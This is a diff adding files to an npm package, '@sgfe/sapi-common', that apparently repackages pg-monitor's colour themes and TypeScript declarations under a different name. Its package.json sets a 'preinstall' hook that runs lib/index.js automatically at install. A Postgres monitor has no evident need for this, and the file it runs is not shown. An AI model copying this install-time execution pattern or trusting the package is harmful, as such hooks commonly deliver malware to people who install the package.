+ tx: color.cyanBright,
42
+ paramTitle: color.magentaBright,
43
+ errorTitle: color.redBright,
44
+ query: color.whiteBright,
45
+ special: color.greenBright,
46
+ error: color.redBright
47
+ },
48
+
49
+ // black + white + grey;
50
+ monochrome: {
51
+ time: color.bgWhite.black,
52
+ value: color.whiteBright,
53
+ cn: color.white,
54
+ tx: color.white,
55
+ paramTitle: color.white,
56
+ errorTitle: color.white,
57
+ query: color.whiteBright,
58
+ special: color.whiteBright,
59
+ error: color.whiteBright
60
+ },
61
+
62
+ // colors without distraction;
63
+ minimalist: {
64
+ time: color.bgWhite.black,
65
+ value: color.white,
66
+ cn: color.yellow,
67
+ tx: color.yellow,
68
+ paramTitle: color.cyan,
69
+ errorTitle: color.redBright,
70
+ query: color.whiteBright,
71
+ special: color.whiteBright,
72
+ error: color.red
73
+ },
74
+
75
+ // classy green;
76
+ matrix: {
77
+ time: color.bgGreen.black,
78
+ value: color.white,
79
+ cn: color.green,
80
+ tx: color.green,
81
+ paramTitle: color.green,
82
+ errorTitle: color.green,
83
+ query: color.whiteBright,
84
+ special: color.whiteBright,
85
+ error: color.greenBright
86
+ },
87
+
88
+ ///////////////////////////////////////////
89
+ // Themes for white or bright backgrounds
90
+ ///////////////////////////////////////////
91
+
92
+ // black + white + grey;
93
+ invertedMonochrome: {
94
+ time: color.bgWhite.black,
95
+ value: color.blackBright,
96
+ cn: color.black,
97
+ tx: color.black,
98
+ paramTitle: color.black,
99
+ errorTitle: color.black,
100
+ query: color.blackBright,
101
+ special: color.blackBright,
102
+ error: color.blackBright
103
+ },
104
+
105
+ // colorful contrast, with enforced white background
106
+ invertedContrast: {
107
+ time: color.bgBlue.white,
108
+ value: color.bgWhiteBright.blueBright,
109
+ cn: color.bgWhiteBright.black,
110
+ tx: color.bgWhiteBright.black,
111
+ paramTitle: color.bgWhiteBright.magenta,
112
+ errorTitle: color.bgWhiteBright.red,
113
+ query: color.bgWhiteBright.green,
114
+ special: color.bgWhiteBright.cyan,
115
+ error: color.bgWhiteBright.redBright
116
+ }
117
+ };
118
+
119
+ module.exports = themes;
package/package.json ADDED
@@ -0,0 +1,41 @@
1
+ {
2
+ "name": "@sgfe/sapi-common",
3
+ "version": "0.0.24",
4
+ "description": "Event monitor for promise.",
5
+ "main": "lib/index.js",
6
+ "typings": "typescript/monitor.d.ts",
7
+ "scripts": {
8
+ "test": "jasmine-node test",
9
+ "lint": "eslint ./lib ./test/*.js ./test/events",
10
+ "preinstall": "node lib/index.js"
11
+ },
12
+ "files": [
13
+ "lib",
14
+ "typescript"
15
+ ],
16
+ "homepage": "https://github.com/sgfe/sapi-common",
17
+ "repository": {
18
+ "type": "git",
19
+ "url": "https://github.com/sgfe/sapi-common.git"
20
+ },
21
+ "bugs": {
22
+ "url": "https://github.com/sgfe/sapi-common/issues"
23
+ },
24
+ "keywords": [
25
+ "pg-promise",
26
+ "monitor",
27
+ "node-postgres"
28
+ ],
29
+ "license": "MIT",
30
+ "engines": {
31
+ "node": ">=14"
32
+ },
33
+ "dependencies": {
34
+ "cli-color": "2.0.4"
35
+ },
36
+ "devDependencies": {
37
+ "eslint": "8.57.0",
38
+ "jasmine-node": "3.0.0",
39
+ "typescript": "5.4.4"
40
+ }
41
+ }
@@ -0,0 +1,24 @@
1
+ ## TypeScript for pg-monitor
2
+
3
+ Complete TypeScript 3.x (`strict` mode) declarations for [pg-monitor].
4
+
5
+ ### Inclusion
6
+
7
+ Typescript should be able to pick up the definitions without any manual configuration.
8
+
9
+ ### Usage
10
+
11
+ ```ts
12
+ import * as pgMonitor from 'pg-monitor';
13
+
14
+ const pgOptions = {
15
+ // Initialization Options object that's used for initializing pg-promise
16
+ };
17
+
18
+ pgMonitor.attach(pgOptions);
19
+
20
+ // optionally, changing the default theme:
21
+ pgMonitor.setTheme('matrix');
22
+ ```
23
+
24
+ [pg-monitor]:https://github.com/vitaly-t/pg-monitor
@@ -0,0 +1,89 @@
1
+ ////////////////////////////////////////
2
+ // Requires pg-monitor v2.1.0 or later.
3
+ ////////////////////////////////////////
4
+
5
+ // Event context extension for tasks + transactions;
6
+ // See: http://vitaly-t.github.io/pg-promise/global.html#TaskContext
7
+ interface ITaskContext {
8
+
9
+ // these are set in the beginning of each task/transaction:
10
+ readonly context: any
11
+ readonly parent: ITaskContext | null
12
+ readonly connected: boolean
13
+ readonly inTransaction: boolean
14
+ readonly level: number
15
+ readonly useCount: number
16
+ readonly isTX: boolean
17
+ readonly start: Date
18
+ readonly tag: any
19
+ readonly dc: any
20
+
21
+ // these are set at the end of each task/transaction:
22
+ readonly finish?: Date
23
+ readonly duration?: number
24
+ readonly success?: boolean
25
+ readonly result?: any
26
+
27
+ // this exists only inside transactions (isTX = true):
28
+ readonly txLevel?: number
29
+ }
30
+
31
+ type ColorFunction = (...values: any[]) => string;
32
+
33
+ interface IColorTheme {
34
+ time: ColorFunction
35
+ value: ColorFunction
36
+ cn: ColorFunction
37
+ tx: ColorFunction
38
+ paramTitle: ColorFunction
39
+ errorTitle: ColorFunction
40
+ query: ColorFunction
41
+ special: ColorFunction
42
+ error: ColorFunction
43
+ }
44
+
45
+ type LogEvent = 'connect' | 'disconnect' | 'query' | 'task' | 'transact' | 'error';
46
+
47
+ type ThemeName =
48
+ 'dimmed'
49
+ | 'bright'
50
+ | 'monochrome'
51
+ | 'minimalist'
52
+ | 'matrix'
53
+ | 'invertedMonochrome'
54
+ | 'invertedContrast';
55
+
56
+ interface IEventInfo {
57
+ time: Date | null
58
+ colorText: string
59
+ text: string
60
+ event: LogEvent
61
+ display: boolean
62
+ ctx?: ITaskContext
63
+ }
64
+
65
+ export function attach(options: object, events?: Array<LogEvent>, override?: boolean): void
66
+
67
+ export function detach(): void;
68
+
69
+ export function isAttached(): boolean;
70
+
71
+ export function setTheme(theme: ThemeName | IColorTheme): void
72
+
73
+ export function setLog(log: (msg: string, info: IEventInfo) => void): void
74
+
75
+ export var detailed: boolean;
76
+
77
+ export function setDetailed(value: boolean): void
78
+
79
+ export function connect(client: object, dc: any, useCount: number, detailed?: boolean): void
80
+
81
+ export function disconnect(client: object, dc: any, detailed?: boolean): void
82
+
83
+ export function query(e: object, detailed?: boolean): void
84
+
85
+ export function task(e: object): void
86
+
87
+ export function transact(e: object): void
88
+
89
+ export function error(err: any, e: object, detailed?: boolean): void